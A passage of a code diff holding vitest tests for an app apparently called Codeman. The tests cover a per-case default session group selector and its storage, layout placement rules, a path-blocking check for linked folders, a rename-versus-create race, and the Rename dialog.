|
||||
return { ok, status: ok ? 200 : (server.putStatus ?? 400), json: async () => payload };
|
||||
},
|
||||
console,
|
||||
});
|
||||
for (const file of ['api-client.js', 'session-ui.js']) {
|
||||
vm.runInContext(readFileSync(resolve(PUBLIC, file), 'utf8'), context, { filename: file });
|
||||
}
|
||||
const app = new (CodemanApp as any)();
|
||||
app.showToast = vi.fn();
|
||||
return { app, elements, requests, server };
|
||||
}
|
||||
|
||||
const optionView = (select: any) => select.options.map((o: any) => [o.value, o.textContent]);
|
||||
|
||||
describe('Case settings: Default session group selector', () => {
|
||||
it('lists Ungrouped plus every named group, selecting the stored one in both popovers', async () => {
|
||||
const h = harness({
|
||||
groups: [
|
||||
{ id: 'g1', name: 'Core' },
|
||||
{ id: 'g2', name: 'Ops' },
|
||||
],
|
||||
groupId: 'g2',
|
||||
});
|
||||
await h.app._loadCaseDefaultGroup();
|
||||
expect(h.requests[0]).toMatchObject({ url: '/api/cases/proj/default-group', method: 'GET' });
|
||||
for (const id of ['caseDefaultGroup', 'caseDefaultGroupMobile']) {
|
||||
const select = h.elements[id];
|
||||
expect(optionView(select)).toEqual([
|
||||
['', 'Ungrouped'],
|
||||
['g1', 'Core'],
|
||||
['g2', 'Ops'],
|
||||
]);
|
||||
expect(select.value).toBe('g2');
|
||||
expect(select.disabled).toBe(false);
|
||||
// Group names are user text: never handed to the translator.
|
||||
expect(select.options[1].attrs['data-i18n-skip']).toBe('');
|
||||
expect(select.options[0].attrs['data-i18n-skip']).toBeUndefined();
|
||||
}
|
||||
});
|
||||
|
||||
it('saves a choice (and Ungrouped as null) and mirrors it to the other popover', async () => {
|
||||
const h = harness({ groups: [{ id: 'g1', name: 'Core' }], groupId: null });
|
||||
await h.app._loadCaseDefaultGroup();
|
||||
h.elements.caseDefaultGroup.value = 'g1';
|
||||
await h.app.onCaseDefaultGroupChanged(h.elements.caseDefaultGroup);
|
||||
expect(h.requests.at(-1)).toEqual({ url: '/api/cases/proj/default-group', method: 'PUT', body: { groupId: 'g1' } });
|
||||
expect(h.elements.caseDefaultGroupMobile.value).toBe('g1');
|
||||
|
||||
h.elements.caseDefaultGroupMobile.value = '';
|
||||
await h.app.onCaseDefaultGroupChanged(h.elements.caseDefaultGroupMobile);
|
||||
expect(h.requests.at(-1)?.body).toEqual({ groupId: null });
|
||||
expect(h.elements.caseDefaultGroup.value).toBe('');
|
||||
});
|
||||
|
||||
it('reverts to the confirmed value and says so when the save is refused', async () => {
|
||||
const h = harness({ groups: [{ id: 'g1', name: 'Core' }], groupId: 'g1', putStatus: 400 });
|
||||
await h.app._loadCaseDefaultGroup();
|
||||
h.elements.caseDefaultGroup.value = '';
|
||||
await h.app.onCaseDefaultGroupChanged(h.elements.caseDefaultGroup);
|
||||
expect(h.elements.caseDefaultGroup.value).toBe('g1');
|
||||
expect(h.app.showToast).toHaveBeenCalledWith('Could not save the default session group.', 'error');
|
||||
});
|
||||
|
||||
it('refreshes its options when the layout changes: created, renamed and deleted groups', async () => {
|
||||
const h = harness({ groups: [{ id: 'g1', name: 'Core' }], groupId: 'g1' });
|
||||
await h.app._loadCaseDefaultGroup();
|
||||
h.app._refreshCaseDefaultGroupOptions({
|
||||
groups: [
|
||||
{ id: 'g1', name: 'Core team' },
|
||||
{ id: 'g3', name: 'New' },
|
||||
],
|
||||
});
|
||||
expect(optionView(h.elements.caseDefaultGroup)).toEqual([
|
||||
['', 'Ungrouped'],
|
||||
['g1', 'Core team'],
|
||||
['g3', 'New'],
|
||||
]);
|
||||
expect(h.elements.caseDefaultGroup.value).toBe('g1');
|
||||
// The selected group is deleted: the selector visibly falls back to Ungrouped.
|
||||
h.app._refreshCaseDefaultGroupOptions({ groups: [{ id: 'g3', name: 'New' }] });
|
||||
expect(h.elements.caseDefaultGroup.value).toBe('');
|
||||
expect(h.elements.caseDefaultGroupMobile.value).toBe('');
|
||||
});
|
||||
|
||||
it('leaves the options alone when a layout broadcast does not change the groups', async () => {
|
||||
const h = harness({
|
||||
groups: [
|
||||
{ id: 'g1', name: 'Core' },
|
||||
{ id: 'g2', name: 'Ops' },
|
||||
],
|
||||
groupId: 'g2',
|
||||
});
|
||||
await h.app._loadCaseDefaultGroup();
|
||||
const before = h.elements.caseDefaultGroup.options;
|
||||
// A session created or moved elsewhere: same groups, other refs.
|
||||
h.app._refreshCaseDefaultGroupOptions({
|
||||
groups: [
|
||||
{ id: 'g1', name: 'Core', refs: [{ kind: 'session', id: 's9' }] },
|
||||
{ id: 'g2', name: 'Ops', refs: [] },
|
||||
],
|
||||
});
|
||||
expect(h.elements.caseDefaultGroup.options).toBe(before); // not rebuilt, so an open dropdown stays open
|
||||
expect(h.elements.caseDefaultGroup.value).toBe('g2');
|
||||
});
|
||||
|
||||
it('the layout refresh is wired into _applyTabLayout', () => {
|
||||
const app = readFileSync(resolve(PUBLIC, 'app.js'), 'utf8');
|
||||
const body = app.slice(app.indexOf(' _applyTabLayout(layout) {'));
|
||||
expect(body.slice(0, body.indexOf('\n }\n'))).toMatch(/^\s*this\._refreshCaseDefaultGroupOptions\?\.\(next\);/m);
|
||||
});
|
||||
|
||||
it('both popovers carry the selector, and every new string has a zh-CN entry', () => {
|
||||
const html = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
|
||||
expect(html).toContain('id="caseDefaultGroup"');
|
||||
expect(html).toContain('id="caseDefaultGroupMobile"');
|
||||
const i18n = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
|
||||
for (const text of [
|
||||
'Default session group',
|
||||
'New sessions for this case land in this group',
|
||||
'Could not save the default session group.',
|
||||
'Ungrouped',
|
||||
]) {
|
||||
expect(i18n, text).toMatch(new RegExp(`['"]?${text.replace(/[.]/g, '\\.')}['"]?: '`));
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,334 @@
|
||||
/**
|
||||
* @fileoverview Per-case default session group: the state.json store and the
|
||||
* TabLayoutService placement precedence (explicit group > parent > case default > none).
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { StateStore } from '../src/state-store.js';
|
||||
import { TabLayoutService } from '../src/tab-layout-service.js';
|
||||
import { TabLayoutValidationError, type TabLayout } from '../src/tab-layout.js';
|
||||
|
||||
type SessionFact = { id: string; owner?: string; createdAt: number; parentSessionId?: string };
|
||||
|
||||
describe('StateStore case default groups', () => {
|
||||
let dir: string;
|
||||
let file: string;
|
||||
beforeEach(() => {
|
||||
dir = mkdtempSync(join(tmpdir(), 'codeman-case-default-'));
|
||||
file = join(dir, 'state.json');
|
||||
});
|
||||
afterEach(() => rmSync(dir, { recursive: true, force: true }));
|
||||
|
||||
it('distinguishes unset from an intentional Ungrouped choice, per owner', () => {
|
||||
const store = new StateStore(file);
|
||||
expect(store.getCaseDefaultGroup('@single', 'app')).toBeUndefined();
|
||||
store.setCaseDefaultGroup('@single', 'app', 'g1');
|
||||
store.setCaseDefaultGroup('@single', 'other', null);
|
||||
store.setCaseDefaultGroup('bob', 'app', 'g9');
|
||||
expect(store.getCaseDefaultGroup('@single', 'app')).toBe('g1');
|
||||
expect(store.getCaseDefaultGroup('@single', 'other')).toBeNull();
|
||||
expect(store.getCaseDefaultGroup('bob', 'app')).toBe('g9');
|
||||
expect(store.getCaseDefaultGroup('alice', 'app')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('survives a save and reload (persistence round-trip)', () => {
|
||||
const store = new StateStore(file);
|
||||
store.setCaseDefaultGroup('@single', 'app', 'g1');
|
||||
store.setCaseDefaultGroup('@single', 'none', null);
|
||||
store.saveNow();
|
||||
const disk = JSON.parse(readFileSync(file, 'utf-8'));
|
||||
expect(disk.caseDefaultGroups).toEqual({ '@single': { app: 'g1', none: null } });
|
||||
const reloaded = new StateStore(file);
|
||||
expect(reloaded.getCaseDefaultGroup('@single', 'app')).toBe('g1');
|
||||
expect(reloaded.getCaseDefaultGroup('@single', 'none')).toBeNull();
|
||||
});
|
||||
|
||||
it('forgets one owner mapping without touching another owner', () => {
|
||||
const store = new StateStore(file);
|
||||
store.setCaseDefaultGroup('alice', 'app', 'g1');
|
||||
store.setCaseDefaultGroup('bob', 'app', 'g2');
|
||||
store.deleteCaseDefaultGroup('alice', 'app');
|
||||
expect(store.getCaseDefaultGroup('alice', 'app')).toBeUndefined();
|
||||
expect(store.getCaseDefaultGroup('bob', 'app')).toBe('g2');
|
||||
});
|
||||
|
||||
it('reads a malformed on-disk value as unset instead of throwing', () => {
|
||||
writeFileSync(
|
||||
file,
|
||||
JSON.stringify({ sessions: {}, caseDefaultGroups: { '@single': { app: 42, ok: 'g1' }, bad: 'x' } })
|
||||
);
|
||||
const store = new StateStore(file);
|
||||
expect(store.getCaseDefaultGroup('@single', 'app')).toBeUndefined();
|
||||
expect(store.getCaseDefaultGroup('@single', 'ok')).toBe('g1');
|
||||
expect(store.getCaseDefaultGroup('bad', 'app')).toBeUndefined();
|
||||
expect(store.getCaseDefaultGroup('@single', '__proto__')).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
function createHarness(options: { layouts?: Record<string, TabLayout>; live?: SessionFact[]; follow?: boolean } = {}) {
|
||||
const layouts = { ...(options.layouts ?? {}) };
|
||||
const live = new Map((options.live ?? []).map((session) => [session.id, session]));
|
||||
const order: string[] = [];
|
||||
const defaults: Record<string, Record<string, string | null>> = {};
|
||||
const caseDefaults = {
|
||||
getCaseDefaultGroup: vi.fn((owner: string, caseName: string) =>
|
||||
defaults[owner] && caseName in defaults[owner] ? defaults[owner][caseName] : undefined
|
||||
),
|
||||
setCaseDefaultGroup: vi.fn((owner: string, caseName: string, groupId: string | null) => {
|
||||
defaults[owner] = { ...(defaults[owner] ?? {}), [caseName]: groupId };
|
||||
}),
|
||||
deleteCaseDefaultGroup: vi.fn((owner: string, caseName: string) => {
|
||||
if (defaults[owner]) delete defaults[owner][caseName];
|
||||
}),
|
||||
};
|
||||
const store = {
|
||||
getTabLayout: vi.fn((owner: string) => layouts[owner] ?? null),
|
||||
getTabLayouts: vi.fn(() => ({ ...layouts })),
|
||||
getSessions: vi.fn(() => ({})),
|
||||
getSessionOrder: vi.fn(() => [...order]),
|
||||
commitTabLayoutProjection: vi.fn(
|
||||
(updates: Readonly<Record<string, TabLayout>>, project: (latest: readonly string[]) => readonly string[]) => {
|
||||
const projected = [...project([...order])];
|
||||
Object.assign(layouts, structuredClone(updates));
|
||||
order.splice(0, order.length, ...projected);
|
||||
return { layouts: structuredClone(updates), sessionOrder: [...order] };
|
||||
}
|
||||
),
|
||||
};
|
||||
const service = new TabLayoutService({
|
||||
store: store as never,
|
||||
sessions: live as never,
|
||||
readWebviews: vi.fn(async () => []),
|
||||
broadcast: vi.fn(),
|
||||
broadcastSessionOrder: vi.fn(),
|
||||
childrenFollowParent: vi.fn(() => options.follow === true),
|
||||
caseDefaults,
|
||||
now: () => '2026-10-22T12:00:00.000Z',
|
||||
});
|
||||
const register = (fact: SessionFact) =>
|
||||
vi.fn(() => {
|
||||
live.set(fact.id, fact);
|
||||
return () => live.delete(fact.id);
|
||||
});
|
||||
return { service, store, layouts, live, defaults, caseDefaults, register };
|
||||
}
|
||||
|
||||
const grouped = (version = 7): TabLayout => ({
|
||||
version,
|
||||
groups: [
|
||||
{ id: 'g1', name: 'Core', refs: [{ kind: 'session', id: 'a' }] },
|
||||
{ id: 'g2', name: 'Ops', refs: [] },
|
||||
],
|
||||
ungrouped: [{ kind: 'session', id: 'b' }],
|
||||
updatedAt: '2026-10-21T00:00:00.000Z',
|
||||
});
|
||||
const facts = (owner = 'alice'): SessionFact[] => [
|
||||
{ id: 'a', owner, createdAt: 1 },
|
||||
{ id: 'b', owner, createdAt: 2 },
|
||||
];
|
||||
const idsIn = (layout: TabLayout, groupId: string | null): string[] =>
|
||||
(groupId === null ? layout.ungrouped : (layout.groups.find((g) => g.id === groupId)?.refs ?? [])).map((r) => r.id);
|
||||
|
||||
describe('TabLayoutService case default placement', () => {
|
||||
it('places a session for the case into its default group in the creating write', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: 'g2' };
|
||||
const layout = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'new',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
|
||||
);
|
||||
expect(idsIn(layout, 'g2')).toEqual(['new']);
|
||||
expect(idsIn(layout, null)).toEqual(['b']);
|
||||
expect(layout.version).toBe(8);
|
||||
// One versioned write: no transient Ungrouped layout was ever committed.
|
||||
expect(h.store.commitTabLayoutProjection).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('an explicit tabGroupId wins over the case default', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: 'g2' };
|
||||
const layout = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'new',
|
||||
{ caseName: 'app', tabGroupId: 'g1' },
|
||||
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
|
||||
);
|
||||
expect(idsIn(layout, 'g1')).toEqual(['a', 'new']);
|
||||
expect(idsIn(layout, 'g2')).toEqual([]);
|
||||
});
|
||||
|
||||
it('an unknown explicit group falls through to the case default', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: 'g2' };
|
||||
const layout = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'new',
|
||||
{ caseName: 'app', tabGroupId: 'gone' },
|
||||
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
|
||||
);
|
||||
expect(idsIn(layout, 'g2')).toEqual(['new']);
|
||||
});
|
||||
|
||||
it.each([true, false])('the parent placement wins over the case default (follow=%s)', async (follow) => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts(), follow });
|
||||
h.defaults.alice = { app: 'g2' };
|
||||
const layout = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'child',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 'child', owner: 'alice', createdAt: 3, parentSessionId: 'a' })
|
||||
);
|
||||
expect(idsIn(layout, 'g1')).toEqual(['a', 'child']);
|
||||
expect(idsIn(layout, 'g2')).toEqual([]);
|
||||
});
|
||||
|
||||
it('a parent that is not in the layout does not block the case default', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: 'g2' };
|
||||
const layout = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'orphan',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 'orphan', owner: 'alice', createdAt: 3, parentSessionId: 'nobody' })
|
||||
);
|
||||
expect(idsIn(layout, 'g2')).toEqual(['orphan']);
|
||||
});
|
||||
|
||||
it('an intentional Ungrouped default (null) or no default leaves the session ungrouped', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: null };
|
||||
const first = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'n1',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 'n1', owner: 'alice', createdAt: 3 })
|
||||
);
|
||||
expect(idsIn(first, null)).toEqual(['b', 'n1']);
|
||||
const second = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'n2',
|
||||
{ caseName: 'unset' },
|
||||
h.register({ id: 'n2', owner: 'alice', createdAt: 4 })
|
||||
);
|
||||
expect(idsIn(second, null)).toEqual(['b', 'n1', 'n2']);
|
||||
});
|
||||
|
||||
it('a deleted default group never fails creation: Ungrouped, and the stale value is cleared', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: 'deleted-group' };
|
||||
const layout = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'new',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
|
||||
);
|
||||
expect(idsIn(layout, null)).toEqual(['b', 'new']);
|
||||
expect(h.caseDefaults.getCaseDefaultGroup('alice', 'app')).toBeUndefined();
|
||||
});
|
||||
|
||||
it("never applies another owner's group id", async () => {
|
||||
const h = createHarness({
|
||||
layouts: { alice: grouped(), bob: { ...grouped(3), groups: [], ungrouped: [] } },
|
||||
live: [...facts()],
|
||||
});
|
||||
// A value naming alice's group, stored under bob, is not found in bob's layout.
|
||||
h.defaults.bob = { app: 'g1' };
|
||||
const layout = await h.service.sessionCreated(
|
||||
'bob',
|
||||
'bob-new',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 'bob-new', owner: 'bob', createdAt: 5 })
|
||||
);
|
||||
expect(layout.groups).toEqual([]);
|
||||
expect(idsIn(layout, null)).toEqual(['bob-new']);
|
||||
expect(idsIn(h.layouts.alice, 'g1')).toEqual(['a']);
|
||||
});
|
||||
|
||||
it('a renamed group keeps receiving sessions (the default is the stable id)', async () => {
|
||||
const renamed = grouped();
|
||||
renamed.groups[1] = { ...renamed.groups[1], name: 'Operations' };
|
||||
const h = createHarness({ layouts: { alice: renamed }, live: facts() });
|
||||
h.defaults.alice = { app: 'g2' };
|
||||
const layout = await h.service.sessionCreated(
|
||||
'alice',
|
||||
'new',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 'new', owner: 'alice', createdAt: 3 })
|
||||
);
|
||||
expect(layout.groups[1]).toMatchObject({ id: 'g2', name: 'Operations' });
|
||||
expect(idsIn(layout, 'g2')).toEqual(['new']);
|
||||
});
|
||||
|
||||
it('changing the default never moves an existing session', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: 'g2' };
|
||||
await h.service.sessionCreated(
|
||||
'alice',
|
||||
's1',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 's1', owner: 'alice', createdAt: 3 })
|
||||
);
|
||||
await h.service.setCaseDefaultGroup('alice', 'app', 'g1');
|
||||
const layout = await h.service.sessionCreated(
|
||||
'alice',
|
||||
's2',
|
||||
{ caseName: 'app' },
|
||||
h.register({ id: 's2', owner: 'alice', createdAt: 4 })
|
||||
);
|
||||
expect(idsIn(layout, 'g2')).toEqual(['s1']);
|
||||
expect(idsIn(layout, 'g1')).toEqual(['a', 's2']);
|
||||
});
|
||||
|
||||
it('a failed layout write rolls the registration back and writes no case default change', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: 'deleted-group' };
|
||||
h.store.commitTabLayoutProjection.mockImplementationOnce(() => {
|
||||
throw new Error('disk full');
|
||||
});
|
||||
const added = h.register({ id: 'new', owner: 'alice', createdAt: 3 });
|
||||
await expect(h.service.sessionCreated('alice', 'new', { caseName: 'app' }, added)).rejects.toThrow('disk full');
|
||||
expect(h.live.has('new')).toBe(false);
|
||||
expect(h.layouts.alice).toEqual(grouped());
|
||||
expect(h.caseDefaults.setCaseDefaultGroup).not.toHaveBeenCalled();
|
||||
expect(h.caseDefaults.deleteCaseDefaultGroup).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('TabLayoutService case default reads and writes', () => {
|
||||
it('reports the selection with the owner group options, and a stale id as Ungrouped without writing', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
expect(await h.service.caseDefaultGroup('alice', 'app')).toEqual({
|
||||
groupId: null,
|
||||
groups: [
|
||||
{ id: 'g1', name: 'Core' },
|
||||
{ id: 'g2', name: 'Ops' },
|
||||
],
|
||||
});
|
||||
h.defaults.alice = { app: 'gone' };
|
||||
expect((await h.service.caseDefaultGroup('alice', 'app')).groupId).toBeNull();
|
||||
// A read never writes: the next creation for the case is what forgets the stale id.
|
||||
expect(h.caseDefaults.deleteCaseDefaultGroup).not.toHaveBeenCalled();
|
||||
expect(h.caseDefaults.getCaseDefaultGroup('alice', 'app')).toBe('gone');
|
||||
});
|
||||
|
||||
it('saves a known group or null, and refuses an id that is not in the owner layout', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped(), bob: { ...grouped(1), groups: [] } }, live: facts() });
|
||||
await h.service.setCaseDefaultGroup('alice', 'app', 'g2');
|
||||
expect(h.defaults.alice.app).toBe('g2');
|
||||
await h.service.setCaseDefaultGroup('alice', 'app', null);
|
||||
expect(h.defaults.alice.app).toBeNull();
|
||||
await expect(h.service.setCaseDefaultGroup('bob', 'app', 'g1')).rejects.toBeInstanceOf(TabLayoutValidationError);
|
||||
expect(h.defaults.bob).toBeUndefined();
|
||||
});
|
||||
|
||||
it('forgets a mapping when its case goes away', async () => {
|
||||
const h = createHarness({ layouts: { alice: grouped() }, live: facts() });
|
||||
h.defaults.alice = { app: 'g1' };
|
||||
await h.service.forgetCaseDefaultGroup('alice', 'app');
|
||||
expect(h.caseDefaults.getCaseDefaultGroup('alice', 'app')).toBeUndefined();
|
||||
});
|
||||
});
|
||||
+16
-1
@@ -54,14 +54,29 @@ describe('blockedReason', () => {
|
||||
expect(blockedReason('/usrlocal', c)).toBeNull();
|
||||
});
|
||||
|
||||
it('refuses a cases directory and anything inside it, when given', () => {
|
||||
it('refuses a cases directory and its direct children, when given', () => {
|
||||
const withCases = { ...c, casesDirs: ['/home/u/codeman-cases'] };
|
||||
expect(blockedReason('/home/u/codeman-cases', withCases)).toMatch(/plain Create New/);
|
||||
expect(blockedReason('/home/u/codeman-cases/foo', withCases)).toMatch(/plain Create New/);
|
||||
expect(blockedReason('/home/u/codeman-cases/foo', withCases)).toContain('/home/u/codeman-cases');
|
||||
// Two messages: the cases folder is not "in" itself, and a child that does not exist yet is not
|
||||
// "already" listed.
|
||||
expect(blockedReason('/home/u/codeman-cases', withCases)).toMatch(/cases folder itself/);
|
||||
expect(blockedReason('/home/u/codeman-cases/foo', withCases)).toMatch(/directly in the cases folder/);
|
||||
expect(blockedReason('/home/u/codeman-cases/foo', withCases)).not.toMatch(/already/);
|
||||
expect(blockedReason('/home/u/codeman-cases-old/foo', withCases)).toBeNull();
|
||||
expect(blockedReason('/home/u/codeman-cases/foo', c)).toBeNull();
|
||||
});
|
||||
|
||||
it('allows a folder deeper than a direct child of the cases directory (it is not listed as a local case)', () => {
|
||||
// CODEMAN_CASES_PATH can be a broad root such as /mnt/user/Scripts; GET /api/cases lists only its
|
||||
// direct children, so a folder further down can be linked without appearing twice.
|
||||
const broad = { ...c, casesDirs: ['/mnt/user/Scripts'] };
|
||||
expect(blockedReason('/mnt/user/Scripts/GitHub', broad)).toMatch(/plain Create New/);
|
||||
expect(blockedReason('/mnt/user/Scripts/GitHub/opticon454', broad)).toBeNull();
|
||||
expect(blockedReason('/mnt/user/Scripts/GitHub/opticon454/app', broad)).toBeNull();
|
||||
});
|
||||
|
||||
it('judges against the system roots it is given', () => {
|
||||
expect(blockedReason('/private/etc/x', c)).toBeNull();
|
||||
expect(blockedReason('/private/etc/x', c, ['/private/etc'])).toMatch(/system directory/);
|
||||
|
||||
@@ -0,0 +1,103 @@
|
||||
/**
|
||||
* @fileoverview A case rename racing a session create, against the real WebServer.
|
||||
*
|
||||
* A create constructs its `Session` (which checks the rename lock) and only puts it in the server's session
|
||||
* map later, after awaiting the owner's layout lock and a settings read. A rename that ran in that gap built its
|
||||
* list of open sessions without the new one, moved the folder, and the create then registered a session whose
|
||||
* pane would `cd` into a path that no longer existed. The rename now refuses the move while such a session is
|
||||
* still being created, and the server's registration is what lets go of it.
|
||||
*
|
||||
* The gap is widened by holding the settings read inside `TabLayoutService.sessionCreated()`
|
||||
* (`childrenFollowParent`), the await between the constructor and the registration callback.
|
||||
*
|
||||
* Port: 0 (ephemeral, read back from `server.boundPort`).
|
||||
*/
|
||||
import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { isCaseSessionStarting } from '../src/case-rename.js';
|
||||
import { safeRmHomeTree } from './mocks/test-helpers.js';
|
||||
|
||||
interface LayoutDeps {
|
||||
childrenFollowParent?: () => Promise<boolean>;
|
||||
}
|
||||
|
||||
let server: WebServer;
|
||||
const made: string[] = [];
|
||||
const url = (path: string) => `http://localhost:${server.boundPort}${path}`;
|
||||
const post = async (path: string, body: unknown) => {
|
||||
const res = await fetch(url(path), {
|
||||
method: 'POST',
|
||||
headers: { 'content-type': 'application/json' },
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
return { status: res.status, json: (await res.json()) as Record<string, any> };
|
||||
};
|
||||
const localCase = (name: string) => {
|
||||
const dir = join(homedir(), 'codeman-cases', name);
|
||||
mkdirSync(dir, { recursive: true });
|
||||
writeFileSync(join(dir, 'CLAUDE.md'), name);
|
||||
made.push(dir);
|
||||
return dir;
|
||||
};
|
||||
|
||||
beforeAll(async () => {
|
||||
server = new WebServer(0, false, true);
|
||||
await server.start();
|
||||
}, 60000);
|
||||
|
||||
afterAll(async () => {
|
||||
await server?.stop();
|
||||
for (const dir of made.splice(0)) safeRmHomeTree(dir);
|
||||
}, 60000);
|
||||
|
||||
describe('renaming a case while a session is being created in it', () => {
|
||||
it('refuses the move until the session is registered, then lists it like any open session', async () => {
|
||||
const dir = localCase('race-alpha');
|
||||
made.push(join(homedir(), 'codeman-cases', 'race-beta')); // only there if a rename got through
|
||||
const deps = (server as unknown as { tabLayouts: { deps: LayoutDeps } }).tabLayouts.deps;
|
||||
const original = deps.childrenFollowParent;
|
||||
let reached!: () => void;
|
||||
const atGap = new Promise<void>((resolve) => (reached = resolve));
|
||||
let release!: () => void;
|
||||
const gate = new Promise<void>((resolve) => (release = resolve));
|
||||
deps.childrenFollowParent = async () => {
|
||||
reached();
|
||||
await gate;
|
||||
return (await original?.()) === true;
|
||||
};
|
||||
try {
|
||||
const create = post('/api/sessions', { workingDir: dir, mode: 'shell' });
|
||||
await atGap; // constructed, not yet in the server's session map
|
||||
expect(isCaseSessionStarting(dir)).toBe(true);
|
||||
|
||||
// Without the refusal the rename moves the folder and then waits on the owner's layout lock, which the
|
||||
// held create owns: bound the wait so that shows up as a failure rather than a test timeout.
|
||||
const busy = await Promise.race([
|
||||
post('/api/cases/race-alpha/rename', { newName: 'race-beta', stopSessions: true }),
|
||||
new Promise<null>((resolve) => setTimeout(() => resolve(null), 5000)),
|
||||
]);
|
||||
expect(existsSync(dir), 'the folder moved under the session being created').toBe(true);
|
||||
expect(busy?.status).toBe(409);
|
||||
expect(busy?.json).toMatchObject({ errorCode: 'CONFLICT', renameCode: 'BUSY' });
|
||||
|
||||
deps.childrenFollowParent = original;
|
||||
release();
|
||||
const created = await create;
|
||||
expect(created.status).toBe(200);
|
||||
const id = created.json.data.session.id as string;
|
||||
expect(isCaseSessionStarting(dir)).toBe(false);
|
||||
|
||||
const listed = await post('/api/cases/race-alpha/rename', { newName: 'race-beta' });
|
||||
expect(listed.status).toBe(409);
|
||||
expect(listed.json).toMatchObject({ requiresStop: true, sessions: [{ id }] });
|
||||
expect(existsSync(dir)).toBe(true);
|
||||
await fetch(url(`/api/sessions/${id}`), { method: 'DELETE' });
|
||||
} finally {
|
||||
deps.childrenFollowParent = original;
|
||||
release();
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,220 @@
|
||||
/**
|
||||
* @fileoverview The Rename dialog's flow in session-ui.js (renameCase / submitRenameCase): it is the app's
|
||||
* own modal, not a browser prompt; a linked case offers the folder checkbox; live sessions are listed inside
|
||||
* the dialog and only stopped after a second press; server errors stay in the dialog. Evaluates the real file
|
||||
* against a stub DOM.
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import vm from 'node:vm';
|
||||
|
||||
const SRC = readFileSync(new URL('../src/web/public/session-ui.js', import.meta.url), 'utf-8');
|
||||
const HTML = readFileSync(new URL('../src/web/public/index.html', import.meta.url), 'utf-8');
|
||||
|
||||
type El = {
|
||||
value: string;
|
||||
textContent: string;
|
||||
checked: boolean;
|
||||
disabled: boolean;
|
||||
classes: Set<string>;
|
||||
classList: {
|
||||
add(c: string): void;
|
||||
remove(c: string): void;
|
||||
toggle(c: string, on?: boolean): void;
|
||||
contains(c: string): boolean;
|
||||
};
|
||||
focus(): void;
|
||||
select(): void;
|
||||
};
|
||||
const el = (hidden = false): El => {
|
||||
const classes = new Set<string>(hidden ? ['hidden'] : []);
|
||||
return {
|
||||
value: '',
|
||||
textContent: '',
|
||||
checked: false,
|
||||
disabled: false,
|
||||
classes,
|
||||
classList: {
|
||||
add: (c) => void classes.add(c),
|
||||
remove: (c) => void classes.delete(c),
|
||||
toggle: (c, on) => void ((on ?? !classes.has(c)) ? classes.add(c) : classes.delete(c)),
|
||||
contains: (c) => classes.has(c),
|
||||
},
|
||||
focus() {},
|
||||
select() {},
|
||||
};
|
||||
};
|
||||
|
||||
function makeApp(opts: { responses: unknown[]; cases: unknown[]; current?: string }) {
|
||||
const calls: Array<{ url: string; body: Record<string, unknown> }> = [];
|
||||
const toasts: string[] = [];
|
||||
const store = new Map<string, string>([['caseSettings_alpha', '{"agentTeams":true}']]);
|
||||
const queue = [...opts.responses];
|
||||
const ids = [
|
||||
'renameCaseModal',
|
||||
'renameCaseInput',
|
||||
'renameCaseLabel',
|
||||
'renameCaseFolderRow',
|
||||
'renameCaseFolder',
|
||||
'renameCaseFolderHint',
|
||||
'renameCaseNote',
|
||||
'renameCaseError',
|
||||
'renameCaseSubmit',
|
||||
'quickStartCase',
|
||||
];
|
||||
